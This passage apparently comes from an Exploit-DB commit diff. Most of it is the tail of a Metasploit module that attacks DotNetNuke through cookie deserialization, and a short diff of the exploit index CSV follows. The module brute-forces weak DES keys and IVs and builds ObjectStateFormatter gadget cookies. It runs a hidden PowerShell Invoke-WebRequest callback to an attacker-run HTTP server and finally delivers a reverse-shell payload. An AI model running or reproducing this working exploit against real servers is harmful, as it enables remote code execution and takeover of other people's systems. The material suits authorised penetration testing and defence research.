return false
end
def print_search_status(num_tries, elapsed, max_tries)
msg = format("Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.", s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)
print("\r%bld%blu[*]%clr #{msg}")
end
# ===========================
# Encrypt data using the same
# pattern that DNN uses.
# ===========================
def encrypt_data(cipher, message, passphrase)
cipher.key = passphrase[0, 8]
cipher.iv = passphrase[8, 8]
return cipher.update(message) + cipher.final
end
# ===============================================
# Generate all possible base key values
# used to create the final passphrase in v9.2.2+.
# DES weakness allows multiple bytes to be
# interpreted as the same value.
# ===============================================
def generate_base_keys(pos, from_key, new_key)
if !@unchanged.include? from_key[pos]
if from_key[pos] % 2 == 0
new_key[pos] = (from_key[pos] + 1).chr
else
new_key[pos] = (from_key[pos] - 1).chr
end
if new_key.length == 8
@possible_keys.add(String.new(new_key))
# also add key with original value
new_key[pos] = (from_key[pos]).chr
@possible_keys.add(String.new(new_key))
else
generate_base_keys(pos + 1, from_key, String.new(new_key))
# also generate keys with original value
new_key[pos] = (from_key[pos]).chr
generate_base_keys(pos + 1, from_key, String.new(new_key))
end
else
new_key[pos] = (from_key[pos]).chr
if new_key.length == 8
@possible_keys.add(String.new(new_key))
else
generate_base_keys(pos + 1, from_key, String.new(new_key))
end
end
end
# ==============================================
# Find all possible base IV values
# used to create the final Encryption passphrase
# ==============================================
def find_ivs(cipher_texts, key)
num_chars = 8 - @kpt.length
f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/
@decryptor.key = key
found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final
# Find all possible IVs for the first ciphertext
brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1])
# Reduce IV set by testing against other ciphertexts
cipher_texts.drop(1).each do |cipher_text|
@possible_ivs.each do |iv|
@decryptor.iv = iv
pt = @decryptor.update(cipher_text) + @decryptor.final
if !f8regex.match(pt[0, 8])
@possible_ivs.delete(iv)
end
end
end
end
# ==========================================
# A recursive function to find all
# possible valid IV values using brute-force
# ==========================================
def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)
charset = "0123456789abcdef"
if num_chars_needed == 0
@decryptor.key = key
@decryptor.iv = pt_prefix
pt = @decryptor.update(cipher_text) + @decryptor.final
iv = pt[0, 8]
if @iv_regex.match(iv)
pt = pt_prefix + found_pt
if encrypt_data(@encryptor, pt, key + iv) == cipher_text
@possible_ivs.add(String.new(iv))
end
end
return
end
charset.length.times do |i|
brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)
end
end
# ========================================
# Generate all possible payload encryption
# passphrases for a v9.2.2+ target
# ========================================
def generate_payload_passphrases
phrases = Set.new(@passphrases)
@possible_keys.each do |key|
@possible_ivs.each do |iv|
phrase = Rex::Text.encode_base64(
encrypt_data(@encryptor, key + iv, key + iv)
)
phrases.add(String.new(phrase[0, 16]))
end
end
@passphrases = phrases.to_a
end
# ===========================================
# Test all generated passphrases by initializing
# an HTTP server to listen for a callback that
# contains the index of the successful passphrase.
# ===========================================
def test_passphrases
for i in 0..@passphrases.size - 1
# Stop sending if we've found the passphrase
if !@passphrase.empty?
break
end
msg = format("Trying KEY and IV combination %<current>d of %<total>d...", current: i + 1, total: @passphrases.size)
print("\r%bld%blu[*]%clr #{msg}")
url = "#{get_uri}?#{get_resource.delete('/')}=#{i}"
payload = create_request_payload(url)
cookie = create_cookie(payload)
# Encrypt cookie value
enc_cookie = Rex::Text.encode_base64(
encrypt_data(@encryptor, cookie, @passphrases[i])
)
if @dry_run
print_line
print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...")
print_line(enc_cookie)
break
end
execute_command(enc_cookie, host: datastore['RHOST'])
end
end
# ===============================
# Request handler for HTTP server.
# ==============================
def on_request_uri(cli, request)
# Send 404 to prevent scanner detection
send_not_found(cli)
# Get found index - should be the only query string parameter
if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s]
index = request.qstring[get_resource.delete('/').to_s].to_i
@passphrase = String.new(@passphrases[index])
end
end
# ==============================================
# Create payload to callback to the HTTP server.
# Note: This technically exploits the
# vulnerability, but provides a way to determine
# the valid passphrase needed to exploit again.
# ==============================================
def create_request_payload(url)
psh_cmd = "/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\""
psh_cmd_bytes = psh_cmd.bytes.to_a
cmd_size_bytes = write_encoded_int(psh_cmd.length)
# Package payload into serialized object
payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end
object_size = write_encoded_int(payload_object.length)
# Create the final seralized ObjectStateFormatter payload
final_payload = @osf_header + object_size + payload_object
b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))
return b64_payload
end
# =============================================
# Reproduce the WriteEncoded method in
# the native .NET ObjectStateFormatter.cs file.
# =============================================
def write_encoded_int(value)
enc = []
while (value >= 0x80)
v = value | 0x80
enc.push([v].pack("V")[0].unpack1("C*"))
value >>= 7
end
enc.push([value].pack("V")[0].unpack1("C*"))
return enc
end
# =================================
# Creates the payload cookie
# using the specified payload
# =================================
def create_cookie(payload)
cookie = "<profile>"\
"<item key=\"k\" type=\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, "\
"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],"\
"[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, "\
"Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, "\
"Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">"\
"<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
"<ProjectedProperty0>"\
"<MethodName>Deserialize</MethodName>"\
"<MethodParameters>"\
"<anyType xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\
"xmlns:d=\"http://www.w3.org/2001/XMLSchema\" i:type=\"d:string\" "\
">#{payload}</anyType>"\
"</MethodParameters>"\
"<ObjectInstance xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\
"i:type=\"ObjectStateFormatter\" />"\
"</ProjectedProperty0>"\
"</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
"</item>"\
"</profile>"
return cookie
end
# =========================================
# Send the payload to the target server.
# =========================================
def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })
uri = normalize_uri(target_uri.path)
res = send_request_cgi(
'uri' => uri,
'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};"
)
if !res
fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.")
elsif res.code == 404
return true
elsif res.code == 400
fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")
else
fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}")
end
end
# ======================================
# Create and send final exploit payload
# to obtain a reverse shell.
# ======================================
def send_exploit_payload
cmd_payload = create_payload
cookie_payload = create_cookie(cmd_payload)
if @encrypted
if @passphrase.blank?
print_error("Target requires encrypted payload, but a passphrase was not found or specified.")
return
end
cookie_payload = Rex::Text.encode_base64(
encrypt_data(@encryptor, cookie_payload, @passphrase)
)
end
if @dry_run
print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
print_warning("Printing exploit cookie payload...")
print_line(cookie_payload)
return
end
# Set up the payload handlers
payload_instance.setup_handler
# Start the payload handler
payload_instance.start_handler
print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...")
execute_command(cookie_payload, host: datastore['RHOST'])
end
# ===================================
# Create final exploit paylod based on
# supplied payload options.
# ===================================
def create_payload
# Create payload
psh_cmd = "/b /c start /b /min " + cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
remove_comspec: true, encode_final_payload: false
)
psh_cmd_bytes = psh_cmd.bytes.to_a
cmd_size_bytes = write_encoded_int(psh_cmd.length)
# Package payload into serialized object
payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end
object_size = write_encoded_int(payload_object.length)
# Create the final seralized ObjectStateFormatter payload
final_payload = @osf_header + object_size + payload_object
b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))
vprint_status("Payload Object Created.")
return b64_payload
end
end

View file

@ -11029,6 +11029,7 @@ id,file,description,date,author,type,platform,port
48314,exploits/windows/local/48314.py,"Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)",2020-04-13,boku,local,windows,
48317,exploits/windows/local/48317.py,"B64dec 1.1.2 - Buffer Overflow (SEH Overflow + Egg Hunter)",2020-04-14,"Andy Bowden",local,windows,
48329,exploits/windows/local/48329.py,"BlazeDVD 7.0.2 - Buffer Overflow (SEH)",2020-04-15,areyou1or0,local,windows,
48337,exploits/macos/local/48337.rb,"VMware Fusion - USB Arbitrator Setuid Privilege Escalation (Metasploit)",2020-04-16,Metasploit,local,macos,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -18092,6 +18093,13 @@ id,file,description,date,author,type,platform,port
48273,exploits/multiple/remote/48273.rb,"IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)",2020-03-31,Metasploit,remote,multiple,
48274,exploits/hardware/remote/48274.rb,"DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)",2020-03-31,Metasploit,remote,hardware,
48275,exploits/windows/remote/48275.rb,"SharePoint Workflows - XOML Injection (Metasploit)",2020-03-31,Metasploit,remote,windows,
48331,exploits/linux_mips/remote/48331.rb,"TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution (Metasploit)",2020-04-16,Metasploit,remote,linux_mips,20002
48332,exploits/java/remote/48332.msf,"Liferay Portal - Java Unmarshalling via JSONWS RCE (Metasploit)",2020-04-16,Metasploit,remote,java,
48333,exploits/linux/remote/48333.rb,"ThinkPHP - Multiple PHP Injection RCEs (Metasploit)",2020-04-16,Metasploit,remote,linux,
48334,exploits/linux/remote/48334.rb,"Pandora FMS - Ping Authenticated Remote Code Execution (Metasploit)",2020-04-16,Metasploit,remote,linux,
48335,exploits/php/remote/48335.rb,"PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit)",2020-04-16,Metasploit,remote,php,
48336,exploits/windows/remote/48336.rb,"DotNetNuke - Cookie Deserialization Remote Code Execution (Metasploit)",2020-04-16,Metasploit,remote,windows,
48338,exploits/multiple/remote/48338.rb,"Apache Solr - Remote Code Execution via Velocity Template (Metasploit)",2020-04-16,Metasploit,remote,multiple,
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,

Can't render this file because it is too large.